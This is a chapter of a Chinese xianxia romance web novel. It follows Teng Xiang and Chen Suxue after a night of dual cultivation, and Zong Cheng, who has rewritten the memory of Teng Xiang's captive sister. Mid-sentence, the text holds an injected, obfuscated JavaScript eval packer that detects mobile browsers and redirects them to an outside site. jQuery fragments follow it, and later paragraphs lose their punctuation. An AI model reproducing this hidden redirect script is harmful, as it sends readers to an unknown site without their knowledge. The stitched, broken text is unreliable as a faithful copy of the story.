她态度自如,陈溯雪的面色却不自觉还有些泛红,他低垂了视线,取了衣服过去,尽量不去看她的身体。
但动作再轻柔,指尖还是无意识地轻点在她身上,他抬眼,便看到了她身上留下的红红的痕迹,有些还泛了青,可以想见昨天他的生涩与粗鲁。
陈溯雪一时之间忘记他身上留下的比这厉害许多的痕迹,只忽然想到一件事——
她是否会觉得从前的自己更会讨好她?是否觉得现在的他太过青涩?
滕香的身体不累,反而蓄满了精力一般,堵着的经脉都是舒畅的,双修果真是舒服的。
只是她有些犯懒,不想动,由着陈溯雪替她穿好衣服后,她忽然皱眉看了一眼站在旁边不吭声的男人。
他低垂着眉眼,有些走神。
滕香很少看见他这样安静,原本不想去理会的,但她起身坐到梳妆台前编发时,他也安静着跟了过来,并接过了她的头发,替她编发,看起来依然有些心不在焉,有两次扯到了她头发。
她终于忍不住了,一把拉过她的头发,对他冷下了脸。
滕香这样大的动作,一下将陈溯雪的心神拽了回来,他垂首看到她的脸色冻着,忙俯下身来,“对不起,刚才我……”
他顿了顿,有些话顿觉难以启齿。
滕香用手指梳理着头发,在他低沉着声开口时,动作稍稍缓了一瞬,垂眼认真去听,但等了半天没等到他接下去说话,又有些不耐烦了,横了他一眼,挥手将他的手从头发上挥开,“出去。”
陈溯雪当然是不肯出去的,一把扯住她袖子,也不在意她脾气大,他垂首看着她,故作自然地懒声说:“一会儿我们就要去祈神节斗法大会拿牌子参加吧,不知那祈生还会不会来,我今早上占了一卦,我们必胜,待会儿你想吃什么?我昨天打听到这儿的牛肉面不错,吃那个?晚上祈神节据说有灯会,我们一起去看看……”
“你到底想说什么?”
“……你觉得昨晚上的我和以前比起来怎么样?”
陈溯雪酝酿半天的话脱口而出。
滕香听完,缓慢地眨了下眼睛,看他一眼,转过头来没说话,只一下一下梳理着头发,一副不愿意搭理陈溯雪的模样。
她慢吞吞将头发梳好,站起来。
陈溯雪还攥着她衣袖,她也没管,抬腿往外走,他在后面追了两步,她又忽然
停了下来他一下撞过去下意识伸手去揽抱她。
滕香回头她像是吸饱了精气的妖精抬手捏着陈溯雪下巴迫使他低头似吻非吻。
“你感觉不好么?”
她的声音清凌凌的似乎带着一点甜也或许是陈溯雪听错了他的下颌绷紧了呼吸再次变得灼热起来“很好。”
滕香抬眼看他端详着他俊美英挺的眉眼别开眼也松开他下巴没再多说别的。
陈溯雪不松手手还揽着她腰滕香有些不高兴可却是下意识抬头在他唇角轻轻印下一吻“松开。”
如此自然的动作仿佛做过许多许多遍她自己也愣了一下转瞬便推开他往外走。
陈溯雪站在原地摸了摸唇角倏地低头一笑跟了上去。
.
北荒清州。
“今日天晴小香到了西海酆都参加了祈神节斗法大会已经连续三日都是当日的守擂者身上也受了些伤不过玉儿倒是不必担忧她身边形影不离地跟着个男人擅医术经常替她疗伤小香的身体被照料得不错呢只是玉儿可知那男子何人?”
庭院中的树下穿着纯白大袍的男子抱着怀里紧闭双眼的女子坐在竹藤椅上轻轻摇晃着昳丽的眉眼含着轻笑。
他怀中的女子像是睡着了苍白的脸安安静静的柔美温和。
宗铖低头凑近了女子声音低柔:“是巫族玉儿该是要恼了吧?没想到小香最后也找了个巫族做伴侣呢你千防万防却是没防住你说这是不是就是我们的宿命?”
也不知这话里哪一句戳到了睡梦中的女子她的呼吸忽然急促起来原本平静无波的脸上睫毛轻颤着
宗铖忙轻声安抚她手放在她腹上小声说:“玉儿莫慌你腹中还有我们的孩儿呢。”
他顿了顿又哼唱着温柔的歌谣可他怀中的女子却依然没有平静下来睫毛颤得厉害。
宗铖微微一笑低头亲了亲她唇瓣道:“怎么提起小香你就这般着急想要醒来了呢?你是记起来了吧?和小香打架你记起来了你是谁在你心里哪怕忘记了小香还是你最重要的人旁人都比不过她是吧?你别怪我我太想你心里只有我了改了你的记忆换了你的脸对小香谎称你失踪了让你完完全全成为我的人这些年就这样我们两个不是
很好吗?”
女子的眼睛里流下泪来,她的胸口剧烈起伏着。
宗铖吻去她眼角的泪,又在她耳畔轻声呢喃:“你放心,你不喜欢小香的伴侣是巫族,我会替你看着的,等找个他落单的时候,便替小香杀了他,就这两日,如何?巫族与玉龙的结合,就我们两个就好了。”
这话音刚落下,他便察觉到怀里的女子微弱的呼吸一变。
“啪!”
宗铖抬起脸时,一巴掌便落了他右脸上。
只是那力道软绵绵的,显然是没什么力气。
宗铖笑着,目光落在怀里睁开眼的女人脸上,她的面上是不正常的酡红,一双眼水洗过一样,不似从前那般温柔爱笑,却是对他怒目而视。
女人唇瓣颤抖着,喘着气,她尝试着动身体,但浑身像是被什么束缚住了一样,无法动弹,只能任由自己被揽在怀里。
“玉儿终于醒了。”宗铖神色柔和,伸手轻抚着她的脸。
“别叫我玉儿!我不叫朱玉!”
女人别开脸,急喘着气,挣扎着,一双眼烧成幽蓝色。
龙吟之声瞬间响彻云霄。
宗铖没有松开她,反而抱紧她,手指却掐成诀,掌心鲜血在两人周围缠绕成无数条丝线,周身白色法阵亮起,强压着怀里虚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488045|126961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弱的人。
两人周围飓风狂起,草木被连根拔起,蓝色的灵力被白色灵力压制着,挣扎着。
宗铖也喘着气,任由两人的头发纠缠在一起,他在她身上下了九道术咒,三重法阵,趁着她有孕才堪堪束缚住她,如今她竟是还想用渊海灵力,他昳丽的面容上笑容却更温柔了一些。
“是啊,你不是朱玉,你是狱朱。”
“但那又如何?如今灵域中人谁不知你是朱玉,谁不知朱玉是我未婚妻?你如今腹中已有我们的孩儿了,就当不知道巫族与你有仇不行么?”
“我还会和从前一样给你酿酒,你不是最爱喝酒吗?你昏睡的时候,我给你新酿了酒,可要尝尝?”
女人周围的气息被压制,她喘着气,眉眼间再不见半点往日温煦,她铁青着脸抓紧宗铖衣领,手指骨泛白,她质问,声音却极其虚弱:“我妹妹在哪里?她和我打了一架,你是不是又让她去压制须弥洞?”
宗铖的脸色也有些白,他抬起手,指尖的血便涌入狱朱额心。
狱朱一双幽蓝色的眼睛便像是木偶一样凝住了,没了神光,在她的额心缓缓形
成一道印子,花钿一般,是条血色的蛇。
宗铖低头亲了亲她唇,松开手。
狱朱缓慢地眨了眨眼,那双眼睛又恢复了很多年前的模样,温柔明媚,清澈纯然,她望着他,有一瞬的茫然,她警惕着坐起来,皱着眉问:“你是谁?”
宗铖轻轻抚摸着她苍白的脸,唇角抿出温润的笑,“我是你的夫君,宗铖。”
狱朱的头很疼,她坐起来抱着膝,按了按额心,试图去想他说的话,脑子里却一片空白。
她迟疑着抬头,“那我是谁?”
“朱玉,我的妻子。”宗铖语气轻柔,“腹中已有我们的孩子。”
狱朱的眼睛里像是有一层雾,朦朦胧胧笼罩着,她眉头微蹙,对宗铖的话半信半疑,却是低头摸了摸肚子。
.
西海酆都的比试台上。
滕香有一瞬间恍惚,握紧了手中剑,猛地抬头看向北荒清州方向。
“滕香!”
陈溯雪站在下面,看到对面的剑已经快到滕香面前,忙喊道。
滕香眨了眨眼,直到那剑尖快到眉心时才偏头斩出一剑,直接挑飞了对方的剑,将人击出比试台。
她的脸色有些苍白,得了魁首后也没有一点笑容,直接跳了下来。
陈溯雪就站在下面,一下接住她,这次来祈神节参加斗法大会的,虽有东洲三山、南河剑宗的修者,倒是不像记忆里那般有北荒清州,因为只能生死境之下参加,所以滕香有绝对优势,只是经脉问题,对付起来还是费点力。
滕香由着陈溯雪抱着自己,眼神有些少有的迷蒙,她按了按心口,声音很轻。
“陈溯雪,我好像……感应到……我姐姐了。”
同时,北荒清州传出消息,大巫主与夫人定情,将在三生树下结缘。